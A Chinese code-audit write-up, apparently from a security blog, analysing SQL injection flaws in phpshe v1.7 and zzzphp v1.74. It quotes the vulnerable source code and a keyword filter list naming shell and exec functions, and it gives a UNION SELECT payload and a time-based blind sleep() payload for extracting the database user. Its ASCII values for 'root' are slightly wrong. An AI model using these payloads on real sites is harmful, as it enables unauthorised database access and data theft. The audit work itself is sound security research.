代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入 – 作者:ruanlia

phpshe v1.7前台sql注入漏洞分析

环境:phpstudy2016:       nginx+mysql+php5.6.27

phpstorm+seay

1.漏洞存在点:

图片[1]-代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入 – 作者:ruanlia-安全小百科

使用seay源代码审计系统即可看到sql注入点在文件C:\phpstudy\WWW\phpshe1.7\include\class\db.class.php中的第214行

public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
//sql语句直接进行拼接,因此$table很有可能是一个注入点

2.回到comon.php,这是该cms的入口页面,包含了一些模板的路径,访问网站的模式,同时对客户端到服务器的一些变量修改。

在C:\phpstudy\WWW\phpshe1.7\common.php的37行,会对get,post方式提交的参数加上-g或_p。

1604741297_5fa668b18bba9fa15d456.png!small?1604741296699

3.此时看到了pe_stripslashes函数,该函数是为了去除传入参数中的\,在\phpshe1.7\include\function\global.func.php下的第455行

1604741524_5fa6699450eba72b90bf1.png!small?1604741523469

4.寻找sql过滤函数

global.func.php文件中是对全局函数的声明,我们可以在此页面寻找sql注入过滤函数

1604741764_5fa66a843d32afae5ac84.png!small?1604741763387

5.在phpshe1.7\include\plugin\payment\alipay\pay.php

(1)在第34行对变量order_id进行了过滤,然后将其传入pe_select函数

$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

(2)查看order_table函数,此函数是获取订单对应表名的一个函数

function order_table($id) {
	if (stripos($id, '_') !== false) {
		$id_arr = explode('_', $id);
		return "order_{$id_arr[0]}";
	}
	else {
		return "order";	
	}
}

(3)再次进入pe_select函数,在\phpshe1.7\include\class\db.class.php第214行,这时我们回到了第一步

public function pe_select($table, $where = '', $field = '*')
{
	//处理条件语句
	$sqlwhere = $this->_dowhere($where);
	return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
//.dbpre是一个定义的常量,为数据库前缀pe_

用phpstorm更能清晰的看到整个过程(用burp抓包一个购买产品付款时使用支付宝付款的数据包,将url复制到phpstorm的调试url中)

1604745213_5fa677fdac729775002e3.png!small?1604745213184

1604745568_5fa679602ad6ffd6a3a38.png!small?1604745567279

由第二步可知查询的表名是pe_order_+(传递进来的id),在数据库中查询到这个表是pe_order_pay,只有这个符合条件

1604746189_5fa67bcdcafe16d7d36b3.png!small?1604746188875

6.构造payload

在phpstorm调试时,发现最终执行的sql语句是

1604745814_5fa67a565c74611e2fdf8.png!small?1604745813451

select * from `pe_order_1234201107160318059` where `order_id` = '1234201107160318059_' limit 1

可以将传入的id值构造为pay` where 1=1 union select 404404,2,3,4,5,6,7,8,9,10,11,12--+_
#`pe_order_pay`
#pe_order_pay表内有十二个字段值,因此要构造成上述的内容


1604746576_5fa67d509b3ffc7e0cf60.png!small?1604746575948

zzzphp介绍

zzzphp是一款开源的cms建站系统

环境准备

zzzphpv1.74

phpstudy2016 Nginx+Mysql+php5.6.27

win7系统

sql注入点分析

php文件路径:C:\phpstudy\WWW\zzzphp1.7.4\admin\index.php第九行存在可控参数cid

switch ($module) {	
	case 'aboutlist':		
		break;    
	case 'content':
		$sid=geturl('sid');
		$cid=geturl('cid');
        $stype=geturl('stype');  
		if($cid){
			$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);			
			$GLOBALS['stype']=$data['s_type'];
			$GLOBALS['sid']=$data['sid'];

可以看到当moudle模块为content时,会使用geturl函数获取url参数中的sid,cid等,我们把重点放到cid中,先分析geturl函数,下边用注释对php代码进行了分析

function geturl($name='') {
	$s = $_SERVER[ 'REQUEST_URI' ];             //获取url
	$s = danger_key($s);                        //过滤危险字符,分析此函数,后期注入时要考虑不能使用哪些字符
	$s = cright( $s, 1 ) == '/' ? rtrim( $s, '/' ) : $s;    
	$get = array();
	$s = parse_url( $s );                                                     //解析一个 URL 并返回一个关联数组
	$s = isset( $s[ 'query' ] ) ? $s[ 'query' ] : '';
	$arr = explode( '/', $s );                                       //使用/分割,说明不能使用/
	$arr2 = array();
	$i = 0;
	$last = str_replace( '&', '=', array_pop( $arr ) );  //&符会被替换成=,所以不能使用&
	if ( strpos( $last, '=' ) !== FALSE ) {                          
		$arr1 = explode( '=', $last );                               //=不能使用
        foreach ( $arr1 as $key => $value ) {            
            if ( $key < count( $arr1 ) - 1 ) $arr2[ $value ] = $arr1[ $key + 1 ];
        }          
        if( $name!=''){              
            if(isset($arr2[ $name ]))  return $arr2[ $name ];            
        }else{
            return $arr2;
        }
	}else{
        return '';
    }
}

从以上代码中得知danger_key函数会对url中传入的参数进行过滤,继续跟进

另外需要注意的是此段代码使用了parse_url函数,此函数会尝试尽量正确解析url,无效字符用_来代替。parse_url不能使用空格,=。因此在注入的过程中需要使用Burpsuite,使用浏览器会被编码

function danger_key($s) {
	$danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
	$s = str_ireplace($danger,"*",$s);
	$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
   foreach ($key as $val){
	   if(strpos($s,$val) !==false){
		error('很抱歉,执行出错,发现危险字符【'.$val.'】');
	  }
   }
	return $s;
}

可以看到这个坏字符过滤函数对很多参数进行了过滤,如sql注入需要使用到的char,union _  ascii

sql查询的流程

1.先从C:\phpstudy\WWW\zzzphp1.7.4\admin\index.php中的17行查看

$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);

2.再从C:\phpstudy\WWW\zzzphp1.7.4\inc\zzz_db.php中的99行查看

function db_load_sql_one( $sql, $d = NULL ) {
	$db = $_SERVER[ 'db' ];
	$d = $d ? $d : $db;
	if ( !$d ) return FALSE;
	$sql = str_replace( '[dbpre]', DB_PRE, $sql );
	$arr = $d->sql_find_one( $sql );

3.最后到C:\phpstudy\WWW\zzzphp1.7.4\inc\zzz_db_mysql.php中第44行,通过query执行了sql语句

public function sql_find_one($sql) {
		$query = $this->query($sql);

4.我们可以使用phpstorm添加一行echo $sql;代码来查看执行的sql语句,以便构造payload

图片[10]-代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入 – 作者:ruanlia-安全小百科

构造payload

回顾过滤危险参数,以及parse_url函数。

不能使用的字符 代替方法
ascii 可以使用ord代替
= 使用<>猜测
空格 可以使用( )
/ 暂时用不到

由于没有回显,所以使用时间盲注进行测试

需要用到substr截取字符串函数,以及sleep()函数

用Burp抓包修改cid参数/zzzphp1.7.4/admin/?module=content&cid=payload

payload为:sleep(0.1*(ord(substr(user(),1,1))>65))

substr(user(),1,1)用substr函数切割字符串user(),返回从第一位开始返回一个字符

(ord(substr(user(),1,1))>65)中ord函数返回切割得到字符的ASCII码。

如果该ASCII码大于65,则该语句返回1,sleep(0.1*1),sql注入执行正确,会有时间延迟;

如果小于65,则返回0,sleep(0.1*0),sleep(0)没有延迟

下边用Burp抓包进行测试

payload:      sleep(0.1*(ord(substr(user(),1,1))>100))

图片[11]-代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入 – 作者:ruanlia-安全小百科payload:     sleep(0.1*(ord(substr(user(),1,1))<100))

图片[12]-代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入 – 作者:ruanlia-安全小百科接下来可以使用二分法来尝试查询用户名

第一个字符的ascii码大于113有时间延迟,大于114却没有,说明第一个字符的ascii是r。

尝试后是114,110,110,116,查询ascii码表得出用户名是root

来源:freebuf.com 2020-11-07 19:48:41 by: ruanlia

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论